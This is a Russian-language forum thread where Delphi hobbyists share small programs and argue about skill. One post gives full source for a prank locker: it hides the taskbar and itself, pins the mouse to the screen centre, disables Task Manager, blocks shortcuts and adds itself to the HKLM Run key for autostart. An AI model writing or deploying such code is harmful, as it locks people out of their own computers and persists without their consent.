Delphi 7

[Shadow_exe]

Попрошу здесь не задавать вопросов.

Этот топик для того, чтобы здесь выкладывать листинг интересных прогамм.

Я первый выложу:

[Shadow_exe]

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
H:HWND;
begin
H:=FindWindow('Shell_TrayWnd','');
ShowWindow(H, SW_HIDE);
Sleep(2000);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
H:HWND;
begin
H:=FindWindow('Shell_TrayWnd','');
ShowWindow(H, SW_SHOW);
end;

end.



При Button1Click таскбар пропадает с экрана, при Button2Click таскбар востанавливается в первоначальное состаяние.

Ваша очередь....

[Николай]

Shadow_exe, от себя убедительно предложу не превращать этот форум в сбор всякой ерунды, которую ты нашёл в интернете и на которую обратил внимания по причинам, изложенным ниже:

1. Форум создан для общения, а не для складирования всего, что тебе нравится.
2. Поверь, на форуме есть множество людей, которые на порядок лучше тебя разбираются в этих вопросах, не нужно показывать что ты нашёл - это только вызывает смех с тебя, учитывая что выложена ерунда.
3. и т.п. и т.д.

[Inky]

Николай, 100% +1

[Shadow_exe]

Николай если ты такой умный, то найди в нете как менять иконку приложения с чатотой в 1 секунду к примеру, не подгружая из вне.

Если найдеш то я тебя послушаю и больше даже не появлюсь на этом форуме, но если нет, в чем я убежден, то пошол ты.... так как это я сам написал, а еще тебе хочу сказать, что очень полезно читать хелпы.

Понял я надеюсь?

То что есть умнее люди, я не спорю, но ты сперва смотри на себя.

А кому не лень и кто знает интересные программы, пусть выкладывает, это не противозаконно.

[iFog]

Николай если ты такой умный, то найди в нете как менять иконку приложения с чатотой в 1 секунду к примеру, не подгружая из вне.

Если найдеш то я тебя послушаю и больше даже не появлюсь на этом форуме, но если нет, в чем я убежден, то пошол ты.... так как это я сам написал, а еще тебе хочу сказать, что очень полезно читать хелпы.

Понял я надеюсь?

То что есть умнее люди, я не спорю, но ты сперва смотри на себя.

А кому не лень и кто знает интересные программы, пусть выкладывает, это не противозаконно.

[M] - мод, за неуважительное отношение к участникам форума.

от себя: тебе здесь никто ничего не должен, и того чтобы тебе что-то доказывать - ты не достоин. Так что открывай гугль и вперёд...

[Николай]

Если найдеш то я тебя послушаю и больше даже не появлюсь на этом форуме, но если нет, в чем я убежден, то пошол ты.... так как это я сам написал, а еще тебе хочу сказать, что очень полезно читать хелпы.

Понял я надеюсь?

У тебя есть возможность повторить всё, что ты тут мне написал вслух в Одессе при встрече, заодно и послать попробуешь. стукни в аську 356097.

[iFog]

Ээээ завязывайте с разборками.

[Пилигрим]

Этот топик для того, чтобы здесь выкладывать листинг интересных прогамм.

Чем интересен исходныей текст( а не листинг ) нижевыложенной программы ???

[Inky]

Пилигрим, тем, что пацану лень доучиться до серьезных проектов, но хочецца потешить профессиональную гордость.

[Shadow_exe]

Вот то почетал тут тот бред что вы понаписывали и тошно стает...

[Мерлин]

Ну вы вцепились в бедного Shadow_exe, он чё вам козёл отпущения, парень написал то что знает,
а выше так и было сказано выкладывайте интересное.......

Он так и сделал.

Кстати вот программка которая использует его пример:

unit MbIWb;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,ShellAPI ,Registry;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormShortCut(var Msg: TWMKey; var Handled: Boolean);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

var
s, b : Double;
c, d : Integer;
Form1 : TForm1;
H, J : HWND;
L : array[0..255] of Char;
implementation

uses Types, StrUtils;

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_HIDE);
J:=FindWindow('Shell_traywnd','');
ShowWindow(J,SW_HIDE);Sleep(2000);

S:=Screen.Width/2;
b:=Screen.Height/2;
c:=StrToInt(FloatToStr(S));
d:=StrToInt(FloatToStr(b));


end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Mouse.CursorPos:=Point(c,d);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if Focused=false then begin
H:=Handle;
repeat
H:=GetWindow(H,GW_HWNDPREV);
GetWindowText(H,L,254);
until (H=0)or(L='Диспетчер задач Windows');
CloseWindow(H);
EnableWindow(H,False);

end;
end;

procedure TForm1.FormShortCut(var Msg: TWMKey; var Handled: Boolean);
begin
Handled:=True;
end;

procedure TForm1.FormShow(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',
false);
reg.WriteString('My App', Application.ExeName);
reg.CloseKey;
reg.free;
end;

end.

[Мерлин]

fog, Ну что умники где ваши программы, Shadow_exe открыл класную тему, а вы токо говорить можете, выложите хоть одну пристойную программу, которую сам написал, а не с инета скачал.....

[LANgraf]

Немогу понять почему тема называется Delphi 7 ? Это и в 5-м можно сделать ))(в более древних не работал просто)

[Slaventius]

Мерлин,

fog, Ну что умники где ваши программы,

Вай, вай. Песочницу прекращай. Игр в "Слабо" здесь не будет. Тем более, чем пальцы здесь гнуть, уделил бы лучше внимание дальнейшему изучению. Есть как минимум 4 момента говорящих о твоем опыте:
а) обьявление такой кучи глобальных переменных (Садись два)

б) Боже что это:

S:=Screen.Width/2;
b:=Screen.Height/2;
c:=StrToInt(FloatToStr(S));
d:=StrToInt(FloatToStr(b));

О операторе div читали? Или нет времени подумать?

в) что будет делать программа если винда не русская? Какой "Диспетчер задач" будет искать?

г) если на ключ реестра "Run" поставлены ограничения доступа (к примеру ты не под админским аккаунтом) куда вылетим? Я уже молчу что потеряем экземпляр reg.

Так что, вместо бросания вызова, поработай над ошибками.

Все были молодые, самонадеянные. Расслабся. Ты не один умный на свете.

[Inky]

Вопрос к афтару.

....
var

a,b : integer;
....

asm

mov EAX,a
mov EBX,b

xor EAX,EBX
xor EBX,EAX
xor EAX,EBX

mov a,EAX
mov b,EBX

end;

Что произойдет с переменными? Чисто в уме... сам себя проверь.

Эквивалент в С++

a^=b^=a^=b;

(с паскалем не дружу, если кто знает как в нем сделать проще чем я написал - пишите).

[Shadow_exe]

Тема называется Delphi 7, с языком Паскаль! А не Асемблер!
Я понимаю что в Delphi и асемблер можно писать, но я работаю в ПАСКАЛЕ!

Для справачки: Автор пишется через букву "В", а не "Ф"...

LANgraf: Называется так, потому что я в нем работаю и не говорил что нельзя это реализовать в более раней версии.

[Inky]

Shadow_exe, если хочешь стать программистом, заявления типа "я работаю в паскале" закинь на полку. Работать ты можешь в чем угодно, но если ты хочешь быть на сцене системного программирования, необязательно писать на ассемблере, но знать его надо. Это раз.

Я привел и сишный выриант. Если ты ответишь, что Си не знаешь тоже, то тогда вопрос - как ты будешь работать с MSDN?


З.Ы. Напиши на чистом паскале процедуру преобразования чила из big-endian в little-endian формат.

[Мерлин]

Inky Тема интересных программ превращаеться в мировое состязание "Кто круче загнет",
это уже весело

[Мерлин]

Slaventius, Спасибо за показанные ошибки в программе, кстати пакость хорошая, первый раз токо так отлавливаються, посмеяться можно

А как определить какая версия винды стоит??
=>Тогда я уже не Диспетчер задач буду искать